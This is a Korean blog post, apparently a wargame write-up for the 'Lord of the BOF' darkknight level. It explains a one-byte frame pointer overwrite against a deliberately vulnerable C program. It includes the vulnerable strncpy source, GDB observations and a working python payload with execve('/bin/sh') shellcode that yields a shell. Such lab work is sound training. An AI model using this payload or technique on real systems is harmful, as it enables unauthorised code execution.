아래는 문제 소스다. 버퍼크기는 40이며 이전문제들과는 달리 strcpy가 아니라 strncpy로 길이를 검사하여 버퍼에 복사한다.
복사하는 길이는 버퍼 크기보다 +1된 41만큼 복사한다.
이 문제의 힌트는 FPO다 FPO란 Frame Pointer Overwrite, 말그대로 frame pointer를 덮어 버린다는 것이다.
함수를 호출할때 EBP를 기준으로 복귀한다.
문제를 보면 버퍼크기보다 1 더 큰 41만큼 버퍼에 복사한다. 이 1바이트를 이용해 Frame Pointer를 오버라이트 하는 것이 포인트다.
/* The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO */ #include <stdio.h> #include <stdlib.h> void problem_child(char *src) { char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); } main(int argc, char *argv[]) { if(argc<2){ printf("argv error\n"); exit(0); } problem_child(argv[1]); }
이 FPO는 Function epilogue 부분을 통해 문제를 푼다.
Function epilogue은 LEAVE, RET부분이다.
LEAVE : mov esp, ebp
pop ebp
RET : pop eip
jmp eip
여기서 EBP의 값이 SFP를 가리키고 있다가 problem 함수가 종료되면 복귀할 주소를 리턴한다.
문제 핵심은 여기까지고,
GDB로 실행시켜보겠다.
problem_child 함수의 41 부분 즉 leave에 BP를 걸고 argv[1]에 NOP[40]+"\x41"를 입력했다.
그리고 esp를 보면 아래와 같이 SFP에 마지막에 입력한 "\x41"이 SFP에 오버라이트 되어있는것을 볼 수있다.
그럼 40바이트만 넣고 SFP를 확인하면 0xbffffb00이 들어있다.
0xbffffb00에 무슨 값이 들어있나 확인해보면 0x0804849e라는 주소가 있는데 이 주소는 main+50의 주소다.
즉 problem_child함수가 종료되고 돌아갈 주소이며 ebp+4의 주소다.
이 원리를 이용해 argv[1]에 NOP+Shellcode + 변조할 1바이트를 넣으면 된다.
우선 nop슬라이드를 타기 위한 주소를 알기 위해 얼추 "\xbf"로 1바이트를 덮고 확인해보기 위해 아래와같이 페이로드를 작성했다.
`python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*5+"\xbf"'`
그리고 esp로 sfp를 확인해보면 0xbffffbbf가 들어가있다. 버퍼는 0xbffffad4인데 너무 차이가 많이난다.
argv[2]에 값을 주고 SFP를 확인하면 EBP가 달라질 수 있으니 argv[2]에 nop를 좀 많이 넣어봐야겠다.
argv[2]에 nop를 많이 넣었더니 이번엔 SFP가 0xbffffabf다.
이제 SFP의 마지막 바이트를 쉘코드가 있는 주소인 \x74로 바꾼 후 실행해보면..
쉘이 따졌다.
참고페이지
http://hikai.tistory.com/
'Wargame > lord of bufferoverflow' 카테고리의 다른 글
Lord of bufferoverflow bugbear (0) | 2017.08.22 |
---|---|
Lord of bufferoverflow darkknight (0) | 2017.08.22 |
Lord of bufferoverflow skeleton (0) | 2017.08.21 |
Lord of bufferoverflow vampire (0) | 2017.08.18 |
Lord of bufferoverflow troll (0) | 2017.08.18 |